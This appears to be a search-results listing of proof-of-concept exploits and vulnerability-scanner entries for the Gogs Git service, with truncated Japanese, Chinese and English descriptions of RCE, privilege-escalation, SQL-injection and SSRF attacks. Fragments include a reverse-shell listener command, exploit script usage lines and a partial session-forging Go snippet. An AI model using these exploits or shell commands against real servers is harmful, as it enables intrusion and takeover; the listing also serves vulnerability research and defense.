1316 matches found
CVE-2025-8110
Gogs RCE エクスプロイト CVE-2025-8110 CVE-2025-8110 の概念実証 PoC です。Gogs における重大な脆弱性で、シンボリックリンクのバイパスと sshCommand インジェクションを介した .git/config の操作により、リモートコード実行 RCE を可能にします。 📖 概要 このエクスプロイトは、Gogs API のコンテンツ管理におけるパストラバーサルの脆弱性を標的とします。認証されたユーザーは以下を実行できます。 1. リポジトリを作成し、内部の .git/config を指す シンボリックリンク をプッシュします。 2. API...
gogsownz
GogsOwnz GogsOwnzは、Gogs/Giteaサーバーで管理者権限とRCEを取得するためのシンプルなスクリプトです。 Gogs/Giteaの脆弱性(CVE-2018-18925 、CVE-2018-20303 を含む)を悪用します。 法的免責事項 このスクリプトは現状のまま提供されます。保証はありません。自己責任で使用し、法律を遵守してください。 典型的な使用方法 - 完全な使用方法をお読みください 実行中のGogs/Giteaに関する情報を取得 python3 gogsownz.py https://127.0.0.1:3000/ -v --info 認証前の権限昇格を悪用...
Gogs_RCE
GogsRCE 脆弱性再現 0x01 フロントエンドで通常アカウントを登録 0x02 go でコンパイルして管理者セッションを偽造 go run main.go package main import "bytes" "encoding/gob" "encoding/hex" "fmt" "io/ioutil" func EncodeGobobj mapinterfaceinterface byte, error for , v := range obj gob.Registerv buf := bytes.NewBuffernil err :=...
CVE-2025-8110
CVE-2025-8110 Gogs リポジトリのシンボリックリンクを利用したリモートコード実行 作成者: oguiii 目次 概要 特徴 要件 インストール 使用方法 エクスプロイトの流れ 技術分析 概念実証デモ 影響を受けるバージョン 緩和策 検出 免責事項 ライセンス 概要 CVE-2025-8110 は Gogs における深刻な脆弱性であり、認証済み攻撃者がリポジトリのシンボリックリンク操作を通じてリモートコード実行を達成することを可能にします。この概念実証は、認証からリバースシェル取得までの完全な攻撃連鎖を示しています。 この脆弱性は、Gogs が API...
CVE-2018-18925
CVE-2018-18925 Git のセルフホスト型ツール Gogs に対するリモートコード実行(Remote Code Execution)である CVE-2018-18925 の悪用。 Gogs は Macaron フレームワークをベースにしています。セッション管理に使用されるシステムは、PHP の仕組みと非常によく似ています。Cookie 内のセッション識別子は、ファイルシステム上のファイルにマッピングされます。Web サーバーは、セッション識別子(Cookie として)を含むリクエストを受信すると、ファイルシステム上のファイルを検索します。...
CVE-2025-8110
CVE-2025-8110 – Gogs ≤ 0.13.3 RCE PoC 针对 CVE-2025-8110 的 PoC:Gogs ≤ 0.13.3 存在经过身份验证的任意文件写入漏洞,根源在于 PutContents API 对符号链接的处理不当。 经过身份验证的用户可以提交一个指向 .git/config 的符号链接,然后使用该 API 覆盖它并注入恶意的 sshCommand,从而实现远程代码执行。 免责声明 仅用于教育和授权测试。请勿对非您所有或未经明确许可的系统使用。 用法 chmod +x poc.sh ./poc.sh \ -i \ -P \ -u \ -p \ -t \ ...
Gogs 0.5.5 - 0.12.2 - Remote Code Execution
Gogs 0.5.5 through 0.12.2 is susceptible to authenticated remote code execution via the git hooks functionality. There can be a privilege escalation if access to this feature is granted to a user who does not have administrative privileges. NOTE: Since this is mentioned in the documentation but n...
Gogs < 0.14.3 - Unauthenticated Organization Teams Disclosure
Gogs before version 0.14.3 contains an unauthenticated information disclosure vulnerability. The GET /api/v1/orgs/:orgname/teams endpoint returns all teams for any organization without requiring authentication. The route group lacks the reqToken middleware, exposing team IDs, names, descriptions,...
Gogs <0.12.5 - Server-Side Request Forgery
Gogs GitHub repository before 0.12.5 is susceptible to server-side request forgery. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site. id: CVE-2022-0870 info: name: Gogs 0.12.5 - Server-Sid...
Gogs (Go Git Service) 0.11.66 - Remote Code Execution
Gogs 0.11.66 allows remote code execution because it does not properly validate session IDs, as demonstrated by a ".." session-file forgery in the file session provider in file.go. This is related to session ID handling in the go-macaron/session code for Macaron. id: CVE-2018-18925 info: name: Go...
Gogs <= 0.14.2 - Authenticated RCE via git rebase Argument Injection
Gogs is an open source self-hosted Git service. Prior to 0.14.3, Gogs allows authenticated users to achieve Remote Code Execution RCE on the server by creating a pull request with a specially crafted branch name that injects the --exec flag into the git rebase command during the "Rebase before...
Gogs (Go Git Service) - SQL Injection
Multiple SQL injection vulnerabilities in Gogs aka Go Git Service 0.3.1-9 through 0.5.x before 0.5.6.1105 Beta allow remote attackers to execute arbitrary SQL commands via the q parameter to 1 api/v1/repos/search, which is not properly handled in models/repo.go, or 2 api/v1/users/search, which is...
CVE-2025-8110
Gogs RCEエクスプロイト CVE-2025-8110 CVE-2025-8110の概念実証 - シンボリックリンクバイパスとsshCommandインジェクションによるGogsでのリモートコード実行。 説明 このエクスプロイトは、Gogs APIのシンボリックリンクバイパスを悪用して.git/configを上書きし、リバースシェルを実行する悪意のあるsshCommandを注入します。 必要条件 Python 3.12+ Gitがインストールされていること 有効なGogs認証情報 Gogs APIトークン インストール git clone...
CVE-2024-44625-Gogs-RCE-0.13.0
CVE-2024-44625 与 Gogs-RCE-0.13.0 已针对反向代理后方的 0.13.0 时代 Gogs 进行验证。 利用原理:Web 编辑器符号链接跟随至一个不存在的 .git/hooks/pre-receive 文件, 从而创建该文件(可执行)。此后每次推送到该仓库都会执行它。 用法: 反向 Shell(先运行监听器:nc -lvnp 4444) python3 gogsrceshell.py --url http://host --user admin1 --pass 'P@ss' \ --mode reverse --lhost --lport 4444 绑定...
CVE-2025-8110
CVE-2025-8110 - Gogs 符号链接绕过 - 以 Gogs 进程用户身份任意写入文件 Gogs //contents/)。Gogs 会跟随符号链接,并以 Gogs 进程的权限将攻击者控制的字节写入链接目标。当 Gogs 以 root 身份运行时,这便是一次任意的 root 文件写入——例如,将 NOPASSWD 规则放入 /etc/sudoers.d/ 以实现本地权限提升。 由 Wiz Research 报告。 CVE: CVE-2025-8110 环境要求 python3 -m pip install requests pillow gogsregister.py(验证码...
CVE-2026-25232-PoC
CVE-2026-25232 — Gogs 受保护分支删除绕过(写入 → 管理员权限提升) 概述 字段| 详情 ---|--- CVE| CVE-2026-25232 产品| Gogs(Go Git 服务) 受影响版本| :3001 攻击者账户: attacker:Password123!(对仓库具有写入权限) 目标仓库: admin/important-repo 受保护分支: main(默认分支) 步骤 1 — 确认分支保护已启用 确认该分支已受保护且无法通过正常方式删除: 尝试通过 API 正常删除分支 - 此操作应失败 curl -s -X DELETE...
CVE-2026-52813-Gogs-RCE
CVE-2026-52813 — Gogs パストラバーサルによる Git Hooks リモートコード実行(防御視点の分析) セキュリティ研究 / ブルーチーム向け writeup。本リポジトリは兵器化された PoC を含みません 。 再現を希望する研究者は、公式 advisory が参照する公開 PoC をご利用ください。 項目| 内容 ---|--- CVE| CVE-2026-52813 エイリアス| GHSA-c39w-43gm-34h5 / GO-2026-5305 影響を受けるバージョン| Gogs /)と組み合わせることで、別のリポジトリのローカルチェックアウト内に悪意のあ...
CVE-2024-39930-PoC
CVE-2024-39930-PoC CVE-2024-39930 gogs SSHサーバー RCE のエクスプロイトコード...
CVE-2025-8110-PoC
CVE-2025-8110 PoC CVE-2025-8110 向けの Python 概念実証スクリプト — Gogs v0.13.3 の UpdateRepoFile シンボリックリンク RCE。シングルショット: 悪意のある PUT 自体が git fetch → sshCommand → リバースシェルをトリガーします。 ⚠️ 教育目的および許可を得たセキュリティ研究のみを対象としています。 このツールを、所有していない、または書面によるテスト許可がないシステムに対して実行することは違法です。 詳細 CVE-2025-8110 の PoC 影響を受けるバージョン: Gogs...
gogs
gogs ここでは、SEED Ubuntu 16.04 VM上にラボをセットアップします。SQLインジェクションの脆弱性を悪用する前に、まずVM上にGo Git Service(GOGS)をインストールする必要があります。VMをセットアップする手順は以下の通りです。 ステップ1: データベースのインストール システムにログインしたら、以下のコマンドを実行してライブラリとリポジトリが最新であることを確認します。 $ sudo apt-get -y update バックエンドではMySQLサーバーを使用しているため、VMにインストールする必要があります。以下のコマンドでインストールできます。...